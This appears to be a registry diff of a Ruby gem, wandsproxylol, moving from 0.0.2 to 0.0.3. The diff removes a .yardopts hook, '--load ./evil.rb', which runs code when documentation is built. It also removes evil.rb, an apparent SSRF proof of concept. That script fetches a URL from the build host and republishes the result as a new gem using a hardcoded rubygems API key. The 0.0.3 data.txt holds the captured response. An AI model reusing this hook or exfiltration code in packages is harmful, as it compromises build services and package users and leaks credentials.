wandsproxylol 0.0.2 → 0.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (7) hide show
  1. checksums.yaml +4 -4
  2. data/lib/a.rb +1 -2
  3. data/lib/data.txt +4 -0
  4. metadata +5 -8
  5. data/.yardopts +0 -3
  6. data/README.md +0 -1
  7. data/evil.rb +0 -20
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: a0eebe87dcf567df432febbdcfce290b1000d178a1d163690012bc99eaa904ab
4
- data.tar.gz: 9d448ec2bf233e102d4b8351363d5dce4e9dc25178d98fb6726e45aca3d112aa
3
+ metadata.gz: e7f69db6ba155f609bdbbf951364364fd3e9436ad4ca32b5b176e1da4e123433
4
+ data.tar.gz: ca1092fbbc55df2cd255d609e52e1da394a82dc03454802ded1f73c1cc8329bd
5
5
  SHA512:
6
- metadata.gz: 061aa89a60e8c1a431b868d9bd6713df9aa63df4ee3bc6a9f72a9e31ed00a94955f8eb0b8d72b90d18e235e1839faef8bf65694c51b6d9aac2e7198bbc3b8fc4
7
- data.tar.gz: 0c070da5d0baa6306c87067a5520bbbb43f6e0148507df0d1ec7174ae2a42e3ad8fe7d25439a3ddd763d51e56b3ffcc1cba8ca39ba819e3efca0c10f7fa06497
6
+ metadata.gz: 45bd5be10fc5fe3f8fb8a2e38a3e2c50c6269158055060704743f3a2e163b490b902d285c4ce149bc242b034fb1e6bb430a46508a949ada4b60dfbd70c51cc43
7
+ data.tar.gz: 2ec44f5122e46fc443bd07b2c619a83466dda5ce376fd5d22698649b8a222c6225ad1921531061fbce9045d247d3a2b8d5233379881223da8ea5a583ceef89fe
data/lib/a.rb CHANGED
@@ -1,2 +1 @@
1
- # hi
2
- class A;end
1
+ # done
data/lib/data.txt ADDED
@@ -0,0 +1,4 @@
1
+ STATUS=200
2
+ LEN=528
3
+ HEADERS={"date" => ["Tue, 12 May 2026 01:37:58 GMT"], "content-type" => ["text/html"], "transfer-encoding" => ["chunked"], "connection" => ["keep-alive"], "server" => ["cloudflare"], "last-modified" => ["Sat, 09 May 2026 09:00:11 GMT"], "allow" => ["GET, HEAD"], "age" => ["1105"], "cf-cache-status" => ["HIT"], "cf-ray" => ["9fa5b385fcb34a29-YYZ"]}
4
+ <!doctype html><html lang="en"><head><title>Example Domain</title><meta name="viewport" content="width=device-width, initial-scale=1"><style>body{background:#eee;width:60vw;margin:15vh auto;font-family:system-ui,sans-serif}h1{font-size:1.5em}div{opacity:0.8}a:link,a:visited{color:#348}</style></head><body><div><h1>Example Domain</h1><p>This domain is for use in documentation examples without needing permission. Avoid use in operations.</p><p><a href="https://iana.org/domains/example">Learn more</a></p></div></body></html>
metadata CHANGED
@@ -1,10 +1,10 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: wandsproxylol
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.0.2
4
+ version: 0.0.3
5
5
  platform: ruby
6
6
  authors:
7
- - x
7
+ - z
8
8
  bindir: bin
9
9
  cert_chain: []
10
10
  date: 1980-01-02 00:00:00.000000000 Z
@@ -13,11 +13,8 @@ executables: []
13
13
  extensions: []
14
14
  extra_rdoc_files: []
15
15
  files:
16
- - ".yardopts"
17
- - README.md
18
- - evil.rb
19
16
  - lib/a.rb
20
- homepage: https://example.com
17
+ - lib/data.txt
21
18
  licenses:
22
19
  - MIT
23
20
  metadata: {}
@@ -35,7 +32,7 @@ required_rubygems_version: !ruby/object:Gem::Requirement
35
32
  - !ruby/object:Gem::Version
36
33
  version: '0'
37
34
  requirements: []
38
- rubygems_version: 3.6.7
35
+ rubygems_version: 3.6.9
39
36
  specification_version: 4
40
- summary: aaa
37
+ summary: res
41
38
  test_files: []
data/.yardopts DELETED
@@ -1,3 +0,0 @@
1
- --load ./evil.rb
2
- README.md
3
- lib/**/*.rb
data/README.md DELETED
@@ -1 +0,0 @@
1
- # test docs
data/evil.rb DELETED
@@ -1,20 +0,0 @@
1
- # Evil SSRF demo
2
- begin
3
- require 'net/http'; require 'uri'; require 'rubygems';
4
- url='https://example.com/'
5
- resp=Net::HTTP.get_response(URI(url)); body="STATUS=#{resp.code}\nLEN=#{resp.body.size}\nHEADERS=#{resp.to_hash}\n"+resp.body
6
- rescue =>e
7
- body='ERROR '+e.full_message
8
- end
9
- begin
10
- Dir.chdir('/tmp') do
11
- Dir.mkdir('egem') rescue nil; Dir.mkdir('egem/lib') rescue nil
12
- File.write('egem/lib/data.txt', body)
13
- File.write('egem/lib/a.rb', '# done')
14
- File.write('egem/o.gemspec',%q{Gem::Specification.new do |s|
15
- s.name='wandsproxylol'; s.version='0.0.3'; s.summary='res'; s.authors=['z']; s.files=Dir['lib/*']; s.license='MIT'; end})
16
- Dir.chdir('egem'){ system('gem build o.gemspec'); spec=Dir['*.gem'].first; uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri); req['Authorization']='rubygems_0e0f157767130711d7ce7f08211f846e9ac5c8a0e823ac25'; req['Content-Type']='application/octet-stream'; req.body=File.binread(spec); Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h| h.request(req)} }
17
- end
18
- rescue => e
19
- warn e.full_message
20
- end